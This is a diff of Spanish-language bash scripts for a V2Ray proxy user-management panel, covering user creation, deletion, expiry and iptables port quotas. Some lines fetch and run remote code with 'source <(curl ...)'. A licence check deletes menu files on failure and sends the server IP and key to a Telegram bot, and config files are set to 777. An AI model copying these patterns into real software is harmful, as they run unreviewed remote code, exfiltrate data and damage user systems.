'.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar + restart_v2r + sleep 0.2 + } + } + done +} + + + +delusr () { +clear +clear +invaliduuid () { +msg -bar +echo -e "\e[91m UUID INVALIDO \n$(msg -bar)" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +msg -bar +msg -tit +msg -ama " ELIMINAR USUARIO | UUID V2RAY" +msg -bar +echo -e "\e[97m USUARIOS REGISTRADOS" +echo -e "\e[33m$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f2,1)" +msg -bar +echo -ne "\e[91m >> Digita el UUID a elininar:\n \033[1;92m " && read uuidel +[[ $(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json|head -1) ]] || invaliduuid +lineP=$(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json) +linePre=$(sed -n '/'${uuidel}'/=' /etc/adm-lite/RegV2ray) +sed -i "${linePre}d" /etc/adm-lite/RegV2ray +numl1=2 +let resta=$lineP-$numl1 +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +sed -i "${resta}d" /etc/v2ray/config.json +v2ray restart > /dev/null 2>&1 +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " ELIMINAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario eliminado" + msg -bar + v2ray restart & > /dev/null + } + sleep 0.2 + } + } + done +} + +_delUSR () { +clear&&clear +msg -bar +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m BORRAR POR UUID DE USUARIO\033[1;32m " +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m BORRAR POR NUMERO DE USUARIO \033[1;32m " +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1)dell_user;; +2)delusr;; +*)return;; +esac +return +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + #echo "$(cat ${user_conf}|grep -w "${i}")" >> ${user_conf}.exp + #sed -i "/${i}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done +#v2ray restart + } + +mosusr_kk() { +clear +clear +msg -bar +msg -tit +msg -ama " USUARIOS REGISTRADOS | UUID V2RAY" +msg -bar +# usersss=$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f1) +# cat /etc/adm-lite/RegV2ray|cut -d'|' -f3 +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/RegV2ray" +local HOST2="/etc/adm-lite/RegV2ray" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN USER REGISTRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +echo -e "\e[97m UUID | USER | EXPIRACION \e[93m" +msg -bar +while read hostreturn ; do +DateExp="$(cat /etc/adm-lite/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f3)" +if [[ ! -z $DateExp ]]; then +DataSec=$(date +%s --date="$DateExp") +[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[Caducado]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias" +else +EXPTIME="\e[91m[ S/R ]" +fi +usris="$(cat /etc/adm-lite/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f2)" +local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/RegV2ray | wc -l) + echo -e "$contador_secuencial \n Numero de Registrados: $linesss" + } +fi +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +lim_port () { +clear +clear +msg -bar +msg -tit +msg -ama " LIMITAR MB X PORT | UUID V2RAY" +msg -bar +###VER +estarts () { +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/v2ray/lisportt.log" +local HOST2="/etc/adm-lite/v2ray/lisportt.log" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN PUERTO REGISTRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +while read hostreturn ; do +iptables -n -v -L > /etc/adm-lite/v2ray/data1.log +statsss=$(cat /etc/adm-lite/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5) +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2) +local contador_secuencial+=" \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/v2ray/lisportt.log | wc -l) + echo -e "$contador_secuencial \n Puertos Limitados: $linesss" + } +fi +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +###LIM +liport () { +while true; do + echo -ne "\e[91m >> Digite Port a Limitar:\033[1;92m " && read portbg + if [[ -z "$portbg" ]]; then + err_fun 17 && continue + elif [[ "$portbg" != +([0-9]) ]]; then + err_fun 16 && continue + elif [[ "$portbg" -gt "1000" ]]; then + err_fun 16 && continue + fi + break +done +while true; do + echo -ne "\e[91m >> Digite Cantidad de GB:\033[1;92m " && read capgb + if [[ -z "$capgb" ]]; then + err_fun 17 && continue + elif [[ "$capgb" != +([0-9]) ]]; then + err_fun 15 && continue + elif [[ "$capgb" -gt "1000" ]]; then + err_fun 15 && continue + fi + break +done +uml1=1073741824 +gbuser="$capgb" +let multiplicacion=$uml1*$gbuser +sudo iptables -I OUTPUT -p tcp --sport $portbg -j DROP +sudo iptables -I OUTPUT -p tcp --sport $portbg -m quota --quota $multiplicacion -j ACCEPT +iptables-save > /etc/iptables/rules.v4 +echo "" +echo -e " Port Seleccionado: $portbg | Cantidad de GB: $gbuser" +echo "" +echo " $portbg | $gbuser | $multiplicacion " >> /etc/adm-lite/v2ray/lisportt.log +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +###RES +resdata () { +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/v2ray/lisportt.log" +local HOST2="/etc/adm-lite/v2ray/lisportt.log" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN PUERTO REGISTRADO -----" +return 0 +else +i=1 +while read hostreturn ; do +iptables -n -v -L > /etc/adm-lite/v2ray/data1.log +statsss=$(cat /etc/adm-lite/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5) +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2) +local contador_secuencial+=" \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB \n" + + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/v2ray/lisportt.log | wc -l) + echo -e "$contador_secuencial \n Puertos Limitados: $linesss" + } +fi +msg -bar + +while true; do + echo -ne "\e[91m >> Digite Puerto a Limpiar:\033[1;92m " && read portbg + if [[ -z "$portbg" ]]; then + err_fun 17 && continue + elif [[ "$portbg" != +([0-9]) ]]; then + err_fun 16 && continue + elif [[ "$portbg" -gt "1000" ]]; then + err_fun 16 && continue + fi + break +done +invaliduuid () { +msg -bar +echo -e "\e[91m PUERTO INVALIDO \n$(msg -bar)" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +[[ $(sed -n '/'${portbg}'/=' /etc/adm-lite/v2ray/lisportt.log|head -1) ]] || invaliduuid +gblim=$(cat /etc/adm-lite/v2ray/lisportt.log|grep -w "$portbg"|cut -d'|' -f3) +sudo iptables -D OUTPUT -p tcp --sport $portbg -j DROP +sudo iptables -D OUTPUT -p tcp --sport $portbg -m quota --quota $gblim -j ACCEPT +iptables-save > /etc/iptables/rules.v4 +lineP=$(sed -n '/'${portbg}'/=' /etc/adm-lite/v2ray/lisportt.log) +sed -i "${linePre}d" /etc/adm-lite/v2ray/lisportt.log +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +## MENU +echo -ne "\033[1;32m [1] > " && msg -azu "-LIMITAR DATA x PORT" +echo -ne "\033[1;32m [2] > " && msg -azu "-RESETEAR DATA DE PORT- " +echo -ne "\033[1;32m [3] > " && msg -azu "-VER DATOS CONSUMIDOS- " +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +1)liport ;; +2)resdata;; +3)estarts;; +0) +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh) +;; +esac +} + +limpiador_activador () { +unset PIDGEN +PIDGEN=$(ps aux|grep -v grep|grep "limv2ray") +if [[ ! $PIDGEN ]]; then +screen -dmS limv2ray watch -n 21600 limv2ray +else +#killall screen +screen -S limv2ray -p 0 -X quit +fi +unset PID_GEN +PID_GEN=$(ps x|grep -v grep|grep "limv2ray") +[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ DESACTIVADO ] " || PID_GEN="\e[92m [ ACTIVADO ] " +statgen="$(echo $PID_GEN)" +clear +clear +msg -bar +msg -tit +msg -ama " ELIMINAR EXPIRADOS | UUID V2RAY" +msg -bar +echo "" +echo -e " $statgen " +echo "" +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + + [[ ! -e $config ]] && { + clear + msg -bar + blanco " No se encontro ningun archivo de configracion v2ray" + msg -bar + blanco " No instalo v2ray o esta usando\n una vercion diferente!!!" + msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion v2ray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -ne "Enter Para Continuar" && read enter +clear&&clear + } + +_fixv2() { +unset opcion +clear + title " restablecer ajustes v2ray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de v2ray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar + case $opcion in + [Ss]|[Yy]) + v2ray new + echo "" > /etc/adm-lite/RegV2ray + echo "" > /etc/adm-lite/RegV2ray.exp + ;; + [Nn]) continuar && read foo;; + esac +} + +_tools(){ + +echo -e " \e[97m1 CREAR: " +echo -e " \e[97m2 RENOVAR: " +echo -e " \e[97m3 ELIMINAR: " +echo -e " \e[97mEstado actual: " + +selection=$(selection_fun 4) +case ${selection} in +1)add_user;; +2)renew;; +3)dell_user;; +3)portv;; +esac +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m- ► Escoje -: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +[[ $1 = "autoDel" ]] && { + autoDel +} || { + autoDel +} +clear&&clear +[[ ! -e $config ]] && { +v2ray="\033[1;31m[OFF]" +msg -bar +msg -tit +msg -ama " PANNEL V2RAY Mod ChumoGH ${vesaoSCT} " +msg -bar +## INSTALADOR +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INSTALAR V2RAY $v2ray" +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0 +unset portas +portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep $1) +[[ ! -z ${portas_var} ]] && echo -e "\033[1;32m[ Servicio Activo ]" || echo -e "\033[1;31m[ Servicio Desactivado ]" +} +echo -e " \e[97mEstado actual: $(pid_inst v2ray)" +unset selection +selection=$(selection_fun 1) +case ${selection} in +1)intallv2ray;; +esac +} || { +PID_GEN=$(ps x|grep -v grep|grep "limv2ray") +[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ OFF ] " || PID_GEN="\e[92m [ ON ] " +statgen="$(echo $PID_GEN)" +[[ $(cat /etc/v2ray/config.json | jq '.inbounds[].streamSettings.security') = '"tls"' ]] && _tlsN=" \033[1;32m [ \033[0;34m ACTIVO \033[1;32m ]" || _tlsN=" \033[1;32m [ \033[0;33m CERRADO\033[1;32m ]" +[[ -e /etc/v2ray/config.json ]] && _netW="$(cat /etc/v2ray/config.json | jq '.inbounds[].streamSettings.network')" || _netW="\033[0;32mnull" +[[ -e /etc/v2ray/config.json ]] && _v2Reg="$(cat /etc/v2ray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg="\033[0;32mnull" +_v2RegE=$(cat $user_confEX | wc -l) +v1=$(cat /bin/ejecutar/v-new.log) +v2=$(cat /etc/adm-lite/v-local.log) +[[ $v1 = $v2 ]] && vesaoSCT="\033[0;33m ($v2)" || vesaoSCT="\033[0;33m($v2) ► \033[1;32m($v1)\033[1;31m" +v2rayports=`netstat -tunlp | grep v2ray | grep LISTEN | grep -vE '127.0.0.1' | awk '{print substr($4,4); }' > /tmp/v2.txt && echo | cat /tmp/v2.txt | tr '\n' ' ' > /etc/adm-lite/v2ports.txt && cat /etc/adm-lite/v2ports.txt`; +[[ -z $(echo "$v2rayports" | awk {'print $1'}) ]] && _v2rayports="null" || _v2rayports=$(echo "$v2rayports" | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$_v2rayports" | grep v2ray | grep ESTABLISHED |grep tcp6| awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) +#SPR & +msg -bar3 +msg -bar +msg -tit +msg -ama " PANNEL V2RAY Mod ChumoGH ${vesaoSCT} " +[[ ! -z $_v2rayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$_v2rayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" +msg -bar +bg=0 +## INSTALADOR +[[ $(v2ray info |grep Group | wc -l) > 0 ]] || { +echo -e "\033[0;35m[\033[0;36m12\033[0;35m] \033[0;34m<\033[0;33m V2RAY BUGEADO \033[1;32m [ \033[0;34mFIX INSTALL \033[1;32m ]" +bg=1 +} +[[ $bg = 0 ]] && { +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CAMBIAR PROTOCOLO -> \033[1;32m [ \033[0;34m${_netW} \033[1;32m ]" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m TLS ESTADO : -> ${_tlsN}" +echo -e "\033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CAMBIAR PUERTO V2RAY \033[1;32m [ \033[0;32m$_v2rayports \033[1;32m]\n$(msg -bar) " +## CONTROLER \033[0;31m [\033[0;32mON\033[0;31m] +echo -e "\033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m<\033[0;33m AÑADIR USUARIO UUID " +#echo -e "\033[0;35m[\033[0;36mG\033[0;35m] \033[0;34m<\033[0;33m AÑADIR USUARIO POR GRUPOS " +echo -e "\033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR USUARIO UUID " +echo -e "\033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;33m RENOVAR USUARIO \033[1;32m ( ${_v2RegE} )" +echo -e "\033[0;35m[\033[0;36m7\033[0;35m] \033[0;34m<\033[0;33m USUARIOS REGISTRADOS \033[1;32m ( ${_v2Reg} )" +echo -e "\033[0;35m[\033[0;36m8\033[0;35m] \033[0;34m<\033[0;33m INFORMACION DE CUENTAS " +#echo -e "\033[0;35m[\033[0;36m9\033[0;35m] \033[0;34m<\033[0;33m ESTADISTICAS DE CONSUMO " +echo -e "\033[0;35m[\033[0;36m9\033[0;35m] \033[0;34m<\033[0;33m USUARIOS CONECTADOS " +#echo -ne "\033[1;32m [10] > " && msg -azu " LIMITADOR POR CONSUMO \033[1;33m( #BETA )" +echo -e "\033[0;35m[\033[0;36m10\033[0;35m] \033[0;34m<\033[0;33m LIMPIADOR DE EXPIRADOS $statgen\n$(msg -bar)" +echo -e "\033[0;35m[\033[0;36m13\033[0;35m] \033[0;34m<\033[0;33m FUNCIONES BETAS \n$(msg -bar)" +} || { +clear&&clear + title " V2RAY CON UN BUG - PARA FIXEAR" + echo -e " \033[0;31m Selecciona, la opcion disponible" + echo -e " y recuerda leer las indicaciones que sugiere\n" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar +echo -e "\033[0;35m[\033[0;36m12\033[0;35m] \033[0;34m<\033[0;33m V2RAY BUGEADO \033[1;32m [ \033[0;34mFIX INSTALL \033[1;32m ]" +} +## DESISNTALAR +echo -ne "\033[1;32m [11] > " && msg -azu "\033[1;31mDESINSTALAR V2RAY" +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0 +unset portas +portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep $1) +[[ ! -z ${portas_var} ]] && echo -e "\033[1;32m[ Servicio Activo ]" || echo -e "\033[1;31m[ Servicio Desactivado ]" +} +echo -e " \e[97mEstado actual: $(pid_inst v2ray)" +unset selection +selection=$(selection_fun 13) +case ${selection} in +0)v2ray restart && exit ;; +1)protocolv2ray;; +2)tls;; +3)portv;; +4)addusr;; +5)_delUSR;; +6)echo -e " ANALIZANDO USUARIOS CADUCADOS" +renew;; +7)mosusr_kk;; +8)infocuenta;; +9)stats;; +#10)lim_port;; +10)limpiador_activador;; +11)unistallv2;; +12)_fixv2;; +13)_tools;; +esac +} diff --git a/Recursos/test/v2ray_manager.sh b/Recursos/test/v2ray_manager.sh new file mode 100644 index 0000000..df83b6e --- /dev/null +++ b/Recursos/test/v2ray_manager.sh @@ -0,0 +1,2020 @@ +#!/bin/bash + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +source msg + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ?? ?? KEY BANEADA ?? ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ?? FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n?? ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN V2ray MENU LITE\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} +config="/etc/v2ray/config.json" + +#echo -ne "\033[1;32m[ INST \033[1;31m + \033[1;32mWORK ] " + +_v2=`if netstat -tunlp | grep v2ray 1> /dev/null 2> /dev/null; then +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;32mWORK ] " +else +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;33mLOADING \033[1;32m] " || echo -e "\033[1;32m[ \033[1;31mNO INST \033[1;32m] " +fi`; + +configLOCK="/etc/v2ray/config.json.lock" +temp="/etc/v2ray/temp.json" +CGHlog='/var/log/v2ray/access.log' +v2rdir="/etc/v2r" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/v2r/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/v2r/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $v2rdir/conf ]] && echo "autBackup 0" > $v2rdir/conf +if [[ $(cat $v2rdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $v2rdir/conf +fi +barra="\033[0;31m=====================================================\033[0m" +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + +Fun_bar () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="??" +full_en='100%' +bar=("--------------------" +"=-------------------" +"]=------------------" +"[-]=-----------------" +"=[-]=----------------" +"-=[-]=---------------" +"--=[-]=--------------" +"---=[-]=-------------" +"----=[-]=------------" +"-----=[-]=-----------" +"------=[-]=----------" +"-------=[-]=---------" +"--------=[-]=--------" +"---------=[-]=-------" +"----------=[-]=------" +"-----------=[-]=-----" +"------------=[-]=----" +"-------------=[-]=---" +"--------------=[-]=--" +"---------------=[-]=-" +"----------------=[-]=" +"-----------------=[-]" +"------------------=[" +"-------------------=" +"------------------=[" +"-----------------=[-]" +"----------------=[-]=" +"---------------=[-]=-" +"--------------=[-]=--" +"-------------=[-]=---" +"------------=[-]=----" +"-----------=[-]=-----" +"----------=[-]=------" +"---------=[-]=-------" +"--------=[-]=--------" +"-------=[-]=---------" +"------=[-]=----------" +"-----=[-]=-----------" +"----=[-]=------------" +"---=[-]=-------------" +"--=[-]=--------------" +"-=[-]=---------------" +"=[-]=----------------" +"[-]=-----------------" +"]=------------------" +"=-------------------" +"--------------------"); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.2 + done +done +echo -e " $full_in $full_en" +sleep 0.2s +} + + + +usrCONEC() { +[[ $log0 -le 1 ]] && { +#v2ray restart &> /dev/null +unset Users USERauth users UConc +v2ray clean &> /dev/null && let log0++ && clear +} +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | grep tcp6 | awk {'print $5'}| awk -F ":" '{print $1}' | sort | uniq) +#IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) -|- USER -|- CONEXIONES "|column -t -s '-' +msg -bar3 +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) -|- $U -|- $CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + +install_ini () { +sudo apt-get install software-properties-common -y +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w 